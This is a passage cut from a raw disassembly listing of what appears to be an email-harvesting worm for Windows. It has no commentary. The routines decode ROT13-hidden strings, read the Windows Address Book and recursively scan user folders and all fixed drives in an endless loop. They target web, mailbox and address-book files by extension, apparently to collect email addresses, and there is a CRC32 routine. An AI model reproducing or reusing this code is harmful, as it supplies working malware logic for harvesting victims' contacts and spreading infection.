  6535.         push    ebx        ; dwFileOffsetHigh
  6536.         push    4        ; dwDesiredAccess
  6537.         push    eax        ; hFileMappingObject
  6538.         call    ds:MapViewOfFile
  6539.         mov    edi, eax
  6540.         cmp    edi, ebx
  6541.         jnz    short loc_4A6019
  6542.         push    3
  6543.         pop    ebx
  6544.         jmp    short loc_4A607F
  6545. ; ───────────────────────────────────────────────────────────────────────────
  6546.  
  6547. loc_4A6019:                ; CODE XREF: sub_4A5F97+7Bj
  6548.         mov    eax, [edi+64h]
  6549.         mov    ecx, [edi+60h]
  6550.         cmp    eax, ebx
  6551.         jbe    short loc_4A6078
  6552.         mov    [ebp+70h], ecx
  6553.         mov    [ebp+6Ch], eax
  6554.  
  6555. loc_4A6029:                ; CODE XREF: sub_4A5F97+DFj
  6556.         mov    esi, [ebp+70h]
  6557.         push    80h
  6558.         lea    eax, [ebp-20h]
  6559.         push    ebx
  6560.         push    eax
  6561.         call    memset
  6562.         mov    ecx, [ebp+68h]
  6563.         add    esp, 0Ch
  6564.         xor    eax, eax
  6565.         cmp    esi, ecx
  6566.         jnb    short loc_4A606F
  6567.  
  6568. loc_4A6047:                ; CODE XREF: sub_4A5F97+C6j
  6569.         cmp    eax, 44h
  6570.         jnb    short loc_4A605F
  6571.         mov    dl, [esi+edi]
  6572.         mov    [ebp+eax-20h], dl
  6573.         cmp    [esi+edi], bl
  6574.         jz    short loc_4A605F
  6575.         inc    eax
  6576.         inc    esi
  6577.         inc    esi
  6578.         cmp    esi, ecx
  6579.         jb    short loc_4A6047
  6580.  
  6581. loc_4A605F:                ; CODE XREF: sub_4A5F97+B3j
  6582.                     ; sub_4A5F97+BFj
  6583.         cmp    eax, ebx
  6584.         jbe    short loc_4A606F
  6585.         lea    eax, [ebp-20h]
  6586.         push    ebx
  6587.         push    eax
  6588.         call    sub_4A5788
  6589.         pop    ecx
  6590.         pop    ecx
  6591.  
  6592. loc_4A606F:                ; CODE XREF: sub_4A5F97+AEj
  6593.                     ; sub_4A5F97+CAj
  6594.         add    dword ptr [ebp+70h], 44h
  6595.         dec    dword ptr [ebp+6Ch]
  6596.         jnz    short loc_4A6029
  6597.  
  6598. loc_4A6078:                ; CODE XREF: sub_4A5F97+8Aj
  6599.         push    edi        ; lpBaseAddress
  6600.         call    ds:UnmapViewOfFile
  6601.  
  6602. loc_4A607F:                ; CODE XREF: sub_4A5F97+80j
  6603.         push    dword ptr [ebp+60h] ; hObject
  6604.         call    ds:CloseHandle
  6605.         pop    edi
  6606.  
  6607. loc_4A6089:                ; CODE XREF: sub_4A5F97+102j
  6608.         push    dword ptr [ebp+64h] ; hObject
  6609.         call    ds:CloseHandle
  6610.         mov    eax, ebx
  6611.         jmp    short loc_4A609E
  6612. ; ───────────────────────────────────────────────────────────────────────────
  6613.  
  6614. loc_4A6096:                ; CODE XREF: sub_4A5F97+5Bj
  6615.                     ; sub_4A5F97+64j
  6616.         push    2
  6617.         pop    ebx
  6618.         jmp    short loc_4A6089
  6619. ; ───────────────────────────────────────────────────────────────────────────
  6620.  
  6621. loc_4A609B:                ; CODE XREF: sub_4A5F97+2Fj
  6622.                     ; sub_4A5F97+38j
  6623.         xor    eax, eax
  6624.         inc    eax
  6625.  
  6626. loc_4A609E:                ; CODE XREF: sub_4A5F97+FDj
  6627.         pop    esi
  6628.         pop    ebx
  6629.         add    ebp, 74h
  6630.         leave
  6631.         retn
  6632. sub_4A5F97    endp
  6633.  
  6634.  
  6635. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6636.  
  6637. ; Attributes: bp-based frame
  6638.  
  6639. sub_4A60A5    proc near        ; CODE XREF: sub_4A6645p
  6640.  
  6641. Data        = byte ptr -158h
  6642. SubKey        = byte ptr -58h
  6643. cbData        = dword    ptr -8
  6644. hKey        = dword    ptr -4
  6645.  
  6646.         push    ebp
  6647.         mov    ebp, esp
  6648.         sub    esp, 158h
  6649.         push    ebx
  6650.         lea    eax, [ebp+SubKey]
  6651.         push    offset aFbsgjnerZvpe_1 ; "Fbsgjner\\Zvpebfbsg\\JNO\\JNO4\\Jno Svyr An"...
  6652.         push    eax
  6653.         call    sub_4A465E
  6654.         pop    ecx
  6655.         lea    eax, [ebp+hKey]
  6656.         pop    ecx
  6657.         xor    ebx, ebx
  6658.         push    eax        ; phkResult
  6659.         push    20019h        ; samDesired
  6660.         lea    eax, [ebp+SubKey]
  6661.         push    ebx        ; ulOptions
  6662.         push    eax        ; lpSubKey
  6663.         push    80000001h    ; hKey
  6664.         call    ds:RegOpenKeyExA
  6665.         test    eax, eax
  6666.         jnz    short loc_4A612F
  6667.         push    100h
  6668.         lea    eax, [ebp+Data]
  6669.         push    ebx
  6670.         push    eax
  6671.         call    memset
  6672.         add    esp, 0Ch
  6673.         lea    eax, [ebp+cbData]
  6674.         mov    [ebp+cbData], 100h
  6675.         push    eax        ; lpcbData
  6676.         lea    eax, [ebp+Data]
  6677.         push    eax        ; lpData
  6678.         push    ebx        ; lpType
  6679.         push    ebx        ; lpReserved
  6680.         push    ebx        ; lpValueName
  6681.         push    [ebp+hKey]    ; hKey
  6682.         call    ds:RegQueryValueExA
  6683.         push    [ebp+hKey]
  6684.         call    ds:RegCloseKey
  6685.         cmp    [ebp+Data], bl
  6686.         jz    short loc_4A612F
  6687.         lea    eax, [ebp+Data]
  6688.         push    eax
  6689.         call    sub_4A5F97
  6690.         pop    ecx
  6691.  
  6692. loc_4A612F:                ; CODE XREF: sub_4A60A5+37j
  6693.                     ; sub_4A60A5+7Bj
  6694.         pop    ebx
  6695.         leave
  6696.         retn
  6697. sub_4A60A5    endp
  6698.  
  6699.  
  6700. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6701.  
  6702.  
  6703. sub_4A6132    proc near        ; CODE XREF: main+84p
  6704.         mov    ds:dword_4A83C8, 0
  6705.         retn
  6706. sub_4A6132    endp
  6707.  
  6708.  
  6709. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6710.  
  6711.  
  6712. sub_4A613D    proc near        ; CODE XREF: .text:004A5BABp
  6713.                     ; .text:004A5BCDp ...
  6714.  
  6715. arg_0        = dword    ptr  4
  6716.  
  6717.         mov    eax, [esp+arg_0]
  6718.         mov    ds:dword_4A83C8, eax
  6719.         retn
  6720. sub_4A613D    endp
  6721.  
  6722.  
  6723. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6724.  
  6725. ; Attributes: bp-based frame
  6726.  
  6727. sub_4A6147    proc near        ; CODE XREF: sub_4A630C+17Ep
  6728.  
  6729. String1        = byte ptr -18h
  6730. var_8        = dword    ptr -8
  6731. var_4        = dword    ptr -4
  6732. arg_0        = dword    ptr  8
  6733.  
  6734.         push    ebp
  6735.         mov    ebp, esp
  6736.         sub    esp, 18h
  6737.         cmp    dword ptr [esi+20h], 28h
  6738.         jb    locret_4A630A
  6739.         xor    eax, eax
  6740.         or    ecx, 0FFFFFFFFh
  6741.         cmp    [esi+2Ch], al
  6742.         jz    short loc_4A617D
  6743.  
  6744. loc_4A6161:                ; CODE XREF: sub_4A6147+30j
  6745.         cmp    eax, 0FFh
  6746.         jge    short loc_4A6179
  6747.         cmp    byte ptr [esi+eax+2Ch],    2Eh
  6748.         jnz    short loc_4A6171
  6749.         mov    ecx, eax
  6750.  
  6751. loc_4A6171:                ; CODE XREF: sub_4A6147+26j
  6752.         inc    eax
  6753.         cmp    byte ptr [esi+eax+2Ch],    0
  6754.         jnz    short loc_4A6161
  6755.  
  6756. loc_4A6179:                ; CODE XREF: sub_4A6147+1Fj
  6757.         test    ecx, ecx
  6758.         jge    short loc_4A6183
  6759.  
  6760. loc_4A617D:                ; CODE XREF: sub_4A6147+18j
  6761.         and    [ebp+String1], 0
  6762.         jmp    short loc_4A619E
  6763. ; ───────────────────────────────────────────────────────────────────────────
  6764.  
  6765. loc_4A6183:                ; CODE XREF: sub_4A6147+34j
  6766.         lea    eax, [ecx+esi+2Dh]
  6767.         push    0Fh        ; iMaxLength
  6768.         push    eax        ; lpString2
  6769.         lea    eax, [ebp+String1]
  6770.         push    eax        ; lpString1
  6771.         call    ds:lstrcpynA
  6772.         lea    eax, [ebp+String1]
  6773.         push    eax        ; lpsz
  6774.         call    ds:CharLowerA
  6775.  
  6776. loc_4A619E:                ; CODE XREF: sub_4A6147+3Aj
  6777.         and    [ebp+var_8], 0
  6778.         cmp    [ebp+String1], 0
  6779.         push    ebx
  6780.         push    edi
  6781.         mov    [ebp+var_4], 32000h
  6782.         jnz    short loc_4A61BE
  6783.         cmp    dword ptr [esi+20h], 5000h
  6784.         ja    loc_4A62CB
  6785.  
  6786. loc_4A61BE:                ; CODE XREF: sub_4A6147+68j
  6787.         mov    edi, ds:lstrcmpA
  6788.         lea    eax, [ebp+String1]
  6789.         push    offset aTxt    ; lpString2
  6790.         push    eax        ; lpString1
  6791.         mov    [ebp+var_8], 1
  6792.         call    edi ; lstrcmpA
  6793.         test    eax, eax
  6794.         jnz    short loc_4A61E6
  6795.         mov    [ebp+var_4], 14000h
  6796.         jmp    loc_4A62CB
  6797. ; ───────────────────────────────────────────────────────────────────────────
  6798.  
  6799. loc_4A61E6:                ; CODE XREF: sub_4A6147+91j
  6800.         push    3
  6801.         lea    eax, [ebp+String1]
  6802.         pop    ebx
  6803.         push    ebx
  6804.         push    offset aHtmb    ; "htmb"
  6805.         push    eax
  6806.         call    sub_4A42F1
  6807.         add    esp, 0Ch
  6808.         test    eax, eax
  6809.         jz    loc_4A62CB
  6810.         push    ebx
  6811.         lea    eax, [ebp+String1]
  6812.         push    offset aShtl    ; "shtl"
  6813.         push    eax
  6814.         call    sub_4A42F1
  6815.         add    esp, 0Ch
  6816.         test    eax, eax
  6817.         jz    loc_4A62CB
  6818.         push    ebx
  6819.         lea    eax, [ebp+String1]
  6820.         push    offset aPhpq    ; "phpq"
  6821.         push    eax
  6822.         call    sub_4A42F1
  6823.         add    esp, 0Ch
  6824.         test    eax, eax
  6825.         jz    loc_4A62CB
  6826.         push    ebx
  6827.         lea    eax, [ebp+String1]
  6828.         push    offset aAspd    ; "aspd"
  6829.         push    eax
  6830.         call    sub_4A42F1
  6831.         add    esp, 0Ch
  6832.         test    eax, eax
  6833.         jz    short loc_4A62CB
  6834.         push    ebx
  6835.         lea    eax, [ebp+String1]
  6836.         push    offset aDbxn    ; "dbxn"
  6837.         push    eax
  6838.         call    sub_4A42F1
  6839.         add    esp, 0Ch
  6840.         test    eax, eax
  6841.         jz    short loc_4A62CB
  6842.         push    ebx
  6843.         lea    eax, [ebp+String1]
  6844.         push    offset aTbbg    ; "tbbg"
  6845.         push    eax
  6846.         call    sub_4A42F1
  6847.         add    esp, 0Ch
  6848.         test    eax, eax
  6849.         jnz    short loc_4A6282
  6850.         mov    [ebp+var_4], 12C000h
  6851.         jmp    short loc_4A62CB
  6852. ; ───────────────────────────────────────────────────────────────────────────
  6853.  
  6854. loc_4A6282:                ; CODE XREF: sub_4A6147+130j
  6855.         push    ebx
  6856.         lea    eax, [ebp+String1]
  6857.         push    offset aAdbh    ; "adbh"
  6858.         push    eax
  6859.         call    sub_4A42F1
  6860.         add    esp, 0Ch
  6861.         test    eax, eax
  6862.         jz    short loc_4A62CB
  6863.         lea    eax, [ebp+String1]
  6864.         push    offset aPl    ; lpString2
  6865.         push    eax        ; lpString1
  6866.         call    edi ; lstrcmpA
  6867.         test    eax, eax
  6868.         jz    short loc_4A62CB
  6869.         push    ebx
  6870.         lea    eax, [ebp+String1]
  6871.         push    offset aWab    ; "wab"
  6872.         push    eax
  6873.         mov    [ebp+var_8], 2
  6874.         call    sub_4A42F1
  6875.         add    esp, 0Ch
  6876.         test    eax, eax
  6877.         jnz    short loc_4A6308
  6878.         mov    [ebp+var_4], 800000h
  6879.  
  6880. loc_4A62CB:                ; CODE XREF: sub_4A6147+71j
  6881.                     ; sub_4A6147+9Aj ...
  6882.         mov    eax, [ebp+var_4]
  6883.         cmp    [esi+20h], eax
  6884.         ja    short loc_4A6308
  6885.         jmp    short loc_4A62E0
  6886. ; ───────────────────────────────────────────────────────────────────────────
  6887.  
  6888. loc_4A62D5:                ; CODE XREF: sub_4A6147+1A0j
  6889.         push    800h        ; dwMilliseconds
  6890.         call    ds:Sleep
  6891.  
  6892. loc_4A62E0:                ; CODE XREF: sub_4A6147+18Cj
  6893.         cmp    ds:dword_4A83C8, 0
  6894.         jnz    short loc_4A62D5
  6895.         cmp    [ebp+var_8], 1
  6896.         jnz    short loc_4A62F9
  6897.         push    [ebp+arg_0]
  6898.         call    sub_4A5EC8
  6899.         jmp    short loc_4A6307
  6900. ; ───────────────────────────────────────────────────────────────────────────
  6901.  
  6902. loc_4A62F9:                ; CODE XREF: sub_4A6147+1A6j
  6903.         cmp    [ebp+var_8], 2
  6904.         jnz    short loc_4A6308
  6905.         push    [ebp+arg_0]
  6906.         call    sub_4A5F97
  6907.  
  6908. loc_4A6307:                ; CODE XREF: sub_4A6147+1B0j
  6909.         pop    ecx
  6910.  
  6911. loc_4A6308:                ; CODE XREF: sub_4A6147+17Bj
  6912.                     ; sub_4A6147+18Aj ...
  6913.         pop    edi
  6914.         pop    ebx
  6915.  
  6916. locret_4A630A:                ; CODE XREF: sub_4A6147+Aj
  6917.         leave
  6918.         retn
  6919. sub_4A6147    endp
  6920.  
  6921.  
  6922. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6923.  
  6924. ; Attributes: bp-based frame
  6925.  
  6926. ; int __cdecl sub_4A630C(LPCSTR    lpString2,int)
  6927. sub_4A630C    proc near        ; CODE XREF: sub_4A630C+165p
  6928.                     ; sub_4A64A8+D8p ...
  6929.  
  6930. String2        = byte ptr -25Ch
  6931. String1        = byte ptr -11Ch
  6932. hFindFile    = dword    ptr -4
  6933. lpString2    = dword    ptr  8
  6934. arg_4        = dword    ptr  0Ch
  6935.  
  6936.         push    ebp
  6937.         mov    ebp, esp
  6938.         sub    esp, 25Ch
  6939.         push    esi
  6940.         xor    esi, esi
  6941.         cmp    [ebp+arg_4], esi
  6942.         push    edi
  6943.         jle    short loc_4A632A
  6944.         mov    edi, [ebp+lpString2]
  6945.         cmp    edi, esi
  6946.         jz    short loc_4A632A
  6947.         cmp    byte ptr [edi],    0
  6948.         jnz    short loc_4A633C
  6949.  
  6950. loc_4A632A:                ; CODE XREF: sub_4A630C+10j
  6951.                     ; sub_4A630C+17j
  6952.         xor    eax, eax
  6953.         inc    eax
  6954.  
  6955. loc_4A632D:                ; CODE XREF: sub_4A630C+197j
  6956.         pop    edi
  6957.         pop    esi
  6958.         leave
  6959.         retn
  6960. ; ───────────────────────────────────────────────────────────────────────────
  6961.  
  6962. loc_4A6331:                ; CODE XREF: sub_4A630C+36j
  6963.         push    800h        ; dwMilliseconds
  6964.         call    ds:Sleep
  6965.  
  6966. loc_4A633C:                ; CODE XREF: sub_4A630C+1Cj
  6967.         cmp    ds:dword_4A83C8, esi
  6968.         jnz    short loc_4A6331
  6969.         push    ebx
  6970.         mov    ebx, ds:lstrcpyA
  6971.         lea    eax, [ebp+String1]
  6972.         push    edi        ; lpString2
  6973.         push    eax        ; lpString1
  6974.         call    ebx ; lstrcpyA
  6975.         lea    eax, [ebp+String1]
  6976.         lea    edi, [ebp+String1]
  6977.         push    eax        ; lpString
  6978.         dec    edi
  6979.         call    ds:lstrlenA
  6980.         cmp    byte ptr [eax+edi], 5Ch
  6981.         jz    short loc_4A6381
  6982.         lea    eax, [ebp+String1]
  6983.         push    offset String2    ; lpString2
  6984.         push    eax        ; lpString1
  6985.         call    ds:lstrcatA
  6986.  
  6987. loc_4A6381:                ; CODE XREF: sub_4A630C+61j
  6988.         lea    eax, [ebp+String1]
  6989.         push    offset a_    ; lpString2
  6990.         push    eax        ; lpString1
  6991.         call    ds:lstrcatA
  6992.         push    140h
  6993.         lea    eax, [ebp+String2]
  6994.         push    esi
  6995.         push    eax
  6996.         call    memset
  6997.         add    esp, 0Ch
  6998.         mov    [ebp+hFindFile], esi
  6999.  
  7000. loc_4A63AB:                ; CODE XREF: sub_4A630C+EFj
  7001.                     ; sub_4A630C+101j ...
  7002.         cmp    [ebp+hFindFile], esi
  7003.         lea    eax, [ebp+String2]
  7004.         push    eax        ; lpFindFileData
  7005.         jnz    short loc_4A63DA
  7006.         lea    eax, [ebp+String1]
  7007.         push    eax        ; lpFileName
  7008.         call    ds:FindFirstFileA
  7009.         cmp    eax, 0FFFFFFFFh
  7010.         mov    [ebp+hFindFile], eax
  7011.         jnz    short loc_4A63CF
  7012.         mov    [ebp+hFindFile], esi
  7013.  
  7014. loc_4A63CF:                ; CODE XREF: sub_4A630C+BEj
  7015.         cmp    [ebp+hFindFile], esi
  7016.         jz    loc_4A64A0
  7017.         jmp    short loc_4A63EB ; lpFindFileData
  7018. ; ───────────────────────────────────────────────────────────────────────────
  7019.  
  7020. loc_4A63DA:                ; CODE XREF: sub_4A630C+A9j
  7021.         push    [ebp+hFindFile]    ; hFindFile
  7022.         call    ds:FindNextFileA
  7023.         test    eax, eax
  7024.         jz    loc_4A6497
  7025.  
  7026. loc_4A63EB:                ; CODE XREF: sub_4A630C+CCj
  7027.         cmp    byte ptr [ebp-230h], 2Eh
  7028.         jnz    short loc_4A640F
  7029.         cmp    byte ptr [ebp-22Fh], 0
  7030.         jz    short loc_4A63AB
  7031.         cmp    byte ptr [ebp-22Fh], 2Eh
  7032.         jnz    short loc_4A640F
  7033.         cmp    byte ptr [ebp-22Eh], 0
  7034.         jz    short loc_4A63AB
  7035.  
  7036. loc_4A640F:                ; CODE XREF: sub_4A630C+E6j
  7037.                     ; sub_4A630C+F8j
  7038.         push    [ebp+lpString2]    ; lpString2
  7039.         lea    eax, [ebp+String1]
  7040.         push    eax        ; lpString1
  7041.         call    ebx ; lstrcpyA
  7042.         lea    eax, [ebp+String1]
  7043.         push    eax        ; lpString
  7044.         call    ds:lstrlenA
  7045.         cmp    byte ptr [eax+edi], 5Ch
  7046.         jz    short loc_4A6440
  7047.         lea    eax, [ebp+String1]
  7048.         push    offset String2    ; lpString2
  7049.         push    eax        ; lpString1
  7050.         call    ds:lstrcatA
  7051.  
  7052. loc_4A6440:                ; CODE XREF: sub_4A630C+120j
  7053.         lea    eax, [ebp-230h]
  7054.         push    eax        ; lpString2
  7055.         lea    eax, [ebp+String1]
  7056.         push    eax        ; lpString1
  7057.         call    ds:lstrcatA
  7058.         test    [ebp+String2], 10h
  7059.         jz    short loc_4A647D
  7060.         push    4Bh        ; dwMilliseconds
  7061.         call    ds:Sleep
  7062.         mov    eax, [ebp+arg_4]
  7063.         dec    eax
  7064.         push    eax        ; int
  7065.         lea    eax, [ebp+String1]
  7066.         push    eax        ; lpString2
  7067.         call    sub_4A630C
  7068.         pop    ecx
  7069.         pop    ecx
  7070.         jmp    loc_4A63AB
  7071. ; ───────────────────────────────────────────────────────────────────────────
  7072.  
  7073. loc_4A647D:                ; CODE XREF: sub_4A630C+14Fj
  7074.         lea    eax, [ebp+String1]
  7075.         lea    esi, [ebp+String2]
  7076.         push    eax
  7077.         call    sub_4A6147
  7078.         pop    ecx
  7079.         xor    esi, esi
  7080.         jmp    loc_4A63AB
  7081. ; ───────────────────────────────────────────────────────────────────────────
  7082.  
  7083. loc_4A6497:                ; CODE XREF: sub_4A630C+D9j
  7084.         push    [ebp+hFindFile]    ; hFindFile
  7085.         call    ds:FindClose
  7086.  
  7087. loc_4A64A0:                ; CODE XREF: sub_4A630C+C6j
  7088.         xor    eax, eax
  7089.         pop    ebx
  7090.         jmp    loc_4A632D
  7091. sub_4A630C    endp
  7092.  
  7093.  
  7094. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7095.  
  7096. ; Attributes: bp-based frame
  7097.  
  7098. sub_4A64A8    proc near        ; CODE XREF: sub_4A6645+14p
  7099.  
  7100. String1        = byte ptr -208h
  7101. var_84        = byte ptr -84h
  7102. String2        = byte ptr -44h
  7103. var_4        = dword    ptr -4
  7104.  
  7105.         push    ebp
  7106.         mov    ebp, esp
  7107.         sub    esp, 208h
  7108.         push    ebx
  7109.         push    esi
  7110.         push    edi
  7111.         lea    eax, [ebp+var_84]
  7112.         push    offset aGrzcbenelVagre ; "Grzcbenel Vagrearg Svyrf"
  7113.         push    eax
  7114.         call    sub_4A465E
  7115.         lea    eax, [ebp+String2]
  7116.         push    offset aYbpnyFrggvatf ;    "Ybpny Frggvatf"
  7117.         push    eax
  7118.         call    sub_4A465E
  7119.         mov    edi, ds:lstrcatA
  7120.         add    esp, 10h
  7121.         and    [ebp+var_4], 0
  7122.         mov    esi, 184h
  7123.         mov    ebx, offset String2
  7124.  
  7125. loc_4A64EA:                ; CODE XREF: sub_4A64A8+E6j
  7126.         push    esi
  7127.         lea    eax, [ebp+String1]
  7128.         push    0
  7129.         push    eax
  7130.         call    memset
  7131.         add    esp, 0Ch
  7132.         cmp    [ebp+var_4], 0
  7133.         lea    eax, [ebp+String1]
  7134.         push    esi        ; uSize
  7135.         push    eax        ; lpBuffer
  7136.         jnz    short loc_4A6512
  7137.         call    ds:GetWindowsDirectoryA
  7138.         jmp    short loc_4A651D ; lpBuffer
  7139. ; ───────────────────────────────────────────────────────────────────────────
  7140.  
  7141. loc_4A6512:                ; CODE XREF: sub_4A64A8+60j
  7142.         push    offset aUserprofile ; lpName
  7143.         call    ds:GetEnvironmentVariableA
  7144.  
  7145. loc_4A651D:                ; CODE XREF: sub_4A64A8+68j
  7146.         cmp    [ebp+String1], 0
  7147.         jz    short loc_4A6587
  7148.         lea    eax, [ebp+String1]
  7149.         push    eax        ; lpString
  7150.         call    ds:lstrlenA
  7151.         lea    ecx, [ebp+String1]
  7152.         dec    ecx
  7153.         cmp    byte ptr [eax+ecx], 5Ch
  7154.         jz    short loc_4A654A
  7155.         lea    eax, [ebp+String1]
  7156.         push    ebx        ; lpString2
  7157.         push    eax        ; lpString1
  7158.         call    edi ; lstrcatA
  7159.  
  7160. loc_4A654A:                ; CODE XREF: sub_4A64A8+96j
  7161.         cmp    [ebp+var_4], 1
  7162.         jnz    short loc_4A6567
  7163.         lea    eax, [ebp+String2]
  7164.         push    eax        ; lpString2
  7165.         lea    eax, [ebp+String1]
  7166.         push    eax        ; lpString1
  7167.         call    edi ; lstrcatA
  7168.         lea    eax, [ebp+String1]
  7169.         push    ebx        ; lpString2
  7170.         push    eax        ; lpString1
  7171.         call    edi ; lstrcatA
  7172.  
  7173. loc_4A6567:                ; CODE XREF: sub_4A64A8+A6j
  7174.         lea    eax, [ebp+var_84]
  7175.         push    eax        ; lpString2
  7176.         lea    eax, [ebp+String1]
  7177.         push    eax        ; lpString1
  7178.         call    edi ; lstrcatA
  7179.         lea    eax, [ebp+String1]
  7180.         push    5        ; int
  7181.         push    eax        ; lpString2
  7182.         call    sub_4A630C
  7183.         pop    ecx
  7184.         pop    ecx
  7185.  
  7186. loc_4A6587:                ; CODE XREF: sub_4A64A8+7Cj
  7187.         inc    [ebp+var_4]
  7188.         cmp    [ebp+var_4], 2
  7189.         jl    loc_4A64EA
  7190.         pop    edi
  7191.         pop    esi
  7192.         pop    ebx
  7193.         leave
  7194.         retn
  7195. sub_4A64A8    endp
  7196.  
  7197.  
  7198. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7199.  
  7200. ; Attributes: bp-based frame
  7201.  
  7202. sub_4A6599    proc near        ; CODE XREF: sub_4A6645+19p
  7203.  
  7204. String2        = byte ptr -104h
  7205. String1        = byte ptr -103h
  7206.  
  7207.         push    ebp
  7208.         mov    ebp, esp
  7209.         sub    esp, 104h
  7210.         push    ebx
  7211.         push    esi
  7212.         mov    esi, 104h
  7213.         lea    eax, [ebp+String2]
  7214.         push    esi
  7215.         push    0
  7216.         push    eax
  7217.         call    memset
  7218.         add    esp, 0Ch
  7219.         lea    eax, [ebp+String2]
  7220.         push    esi        ; uSize
  7221.         push    eax        ; lpBuffer
  7222.         call    ds:GetSystemDirectoryA
  7223.         mov    bl, [ebp+String2]
  7224.         lea    eax, [ebp+String1]
  7225.         push    offset asc_4A2E6C ; lpString2
  7226.         push    eax        ; lpString1
  7227.         call    ds:lstrcpyA
  7228.         lea    eax, [ebp+String2]
  7229.         push    0Fh        ; int
  7230.         push    eax        ; lpString2
  7231.         call    sub_4A630C
  7232.         pop    ecx
  7233.         mov    [ebp+String2], 43h
  7234.         pop    ecx
  7235.  
  7236. loc_4A65F8:                ; CODE XREF: sub_4A6599+A6j
  7237.         cmp    [ebp+String2], bl
  7238.         jz    short loc_4A6632
  7239.         lea    eax, [ebp+String2]
  7240.         push    eax        ; lpRootPathName
  7241.         call    ds:GetDriveTypeA
  7242.         cmp    eax, 3
  7243.         jz    short loc_4A6617
  7244.         cmp    eax, 6
  7245.         jnz    short loc_4A6632
  7246.  
  7247. loc_4A6617:                ; CODE XREF: sub_4A6599+77j
  7248.         push    1FA0h        ; dwMilliseconds
  7249.         call    ds:Sleep
  7250.         lea    eax, [ebp+String2]
  7251.         push    0Fh        ; int
  7252.         push    eax        ; lpString2
  7253.         call    sub_4A630C
  7254.         pop    ecx
  7255.         pop    ecx
  7256.  
  7257. loc_4A6632:                ; CODE XREF: sub_4A6599+65j
  7258.                     ; sub_4A6599+7Cj
  7259.         inc    [ebp+String2]
  7260.         cmp    [ebp+String2], 5Ah
  7261.         jl    short loc_4A65F8
  7262.         pop    esi
  7263.         pop    ebx
  7264.         leave
  7265.         retn
  7266. sub_4A6599    endp
  7267.  
  7268.  
  7269. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7270.  
  7271.  
  7272. sub_4A6645    proc near        ; CODE XREF: main+89p
  7273.         call    sub_4A60A5
  7274.         push    0FFFFFFFFh    ; nPriority
  7275.         call    ds:GetCurrentThread
  7276.         push    eax        ; hThread
  7277.         call    ds:SetThreadPriority
  7278.         call    sub_4A64A8
  7279.  
  7280. loc_4A665E:                ; CODE XREF: sub_4A6645+29j
  7281.         call    sub_4A6599
  7282.         push    8000h        ; dwMilliseconds
  7283.         call    ds:Sleep
  7284.         jmp    short loc_4A665E
  7285. sub_4A6645    endp
  7286.  
  7287.  
  7288. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7289.  
  7290. ; Attributes: bp-based frame
  7291.  
  7292. sub_4A6670    proc near        ; CODE XREF: sub_4A67F0+3Cp
  7293.  
  7294. arg_0        = dword    ptr  8
  7295. arg_4        = dword    ptr  0Ch
  7296. arg_8        = dword    ptr  10h
  7297.  
  7298.         push    ebp
  7299.         mov    ebp, esp
  7300.         mov    edx, [ebp+arg_4]
  7301.         test    edx, edx
  7302.         jnz    short loc_4A667E
  7303.         xor    eax, eax
  7304.         pop    ebp
  7305.         retn
  7306. ; ───────────────────────────────────────────────────────────────────────────
  7307.  
  7308. loc_4A667E:                ; CODE XREF: sub_4A6670+8j
  7309.         push    esi
  7310.         mov    esi, [ebp+arg_0]
  7311.         push    edi
  7312.         mov    edi, [ebp+arg_8]
  7313.         cmp    edi, 8
  7314.         mov    ecx, 0FFh
  7315.         not    esi
  7316.         jl    loc_4A674B
  7317.         mov    eax, edi
  7318.         push    ebx
  7319.         shr    eax, 3
  7320.         mov    ebx, eax
  7321.         neg    ebx
  7322.         lea    edi, [edi+ebx*8]
  7323.         mov    [ebp+arg_8], edi
  7324.  
  7325. loc_4A66A6:                ; CODE XREF: sub_4A6670+D1j
  7326.         mov    bl, [edx]
  7327.         mov    edi, esi
  7328.         xor    ebx, esi
  7329.         and    ebx, ecx
  7330.         shr    edi, 8
  7331.         mov    esi, ds:dword_4A2E70[ebx*4]
  7332.         xor    esi, edi
  7333.         inc    edx
  7334.         mov    bl, [edx]
  7335.         xor    ebx, esi
  7336.         and    ebx, ecx
  7337.         shr    esi, 8
  7338.         mov    edi, ds:dword_4A2E70[ebx*4]
  7339.         xor    edi, esi
  7340.         inc    edx
  7341.         mov    bl, [edx]
  7342.         xor    ebx, edi
  7343.         and    ebx, ecx
  7344.         shr    edi, 8
  7345.         mov    esi, ds:dword_4A2E70[ebx*4]
  7346.         xor    esi, edi
  7347.         inc    edx
  7348.         mov    bl, [edx]
  7349.         xor    ebx, esi
  7350.         and    ebx, ecx
  7351.         shr    esi, 8
  7352.         mov    edi, ds:dword_4A2E70[ebx*4]
  7353.         xor    edi, esi
  7354.         inc    edx
  7355.         mov    bl, [edx]
  7356.         xor    ebx, edi
  7357.         and    ebx, ecx
  7358.         shr    edi, 8
  7359.         mov    esi, ds:dword_4A2E70[ebx*4]
  7360.         xor    esi, edi
  7361.         inc    edx
  7362.         mov    bl, [edx]
  7363.         xor    ebx, esi
  7364.         and    ebx, ecx
  7365.         shr    esi, 8
  7366.         mov    edi, ds:dword_4A2E70[ebx*4]
  7367.         xor    edi, esi
  7368.         inc    edx
  7369.         mov    bl, [edx]
  7370.         xor    ebx, edi
  7371.         and    ebx, ecx
  7372.         shr    edi, 8
  7373.         mov    esi, ds:dword_4A2E70[ebx*4]
  7374.         xor    esi, edi
  7375.         inc    edx
  7376.         mov    bl, [edx]
  7377.         xor    ebx, esi
  7378.         and    ebx, ecx
  7379.         shr    esi, 8
  7380.         mov    edi, ds:dword_4A2E70[ebx*4]
  7381.         xor    esi, edi
  7382.         inc    edx
  7383.         dec    eax
  7384.         jnz    loc_4A66A6
  7385.         mov    edi, [ebp+arg_8]
  7386.         pop    ebx
  7387.  
  7388. loc_4A674B:                ; CODE XREF: sub_4A6670+20j
  7389.         test    edi, edi
  7390.         jz    short loc_4A6765
  7391.  
  7392. loc_4A674F:                ; CODE XREF: sub_4A6670+F3j
  7393.         mov    al, [edx]
  7394.         xor    eax, esi
  7395.         and    eax, ecx
  7396.         shr    esi, 8
  7397.         mov    eax, ds:dword_4A2E70[eax*4]
  7398.         xor    esi, eax
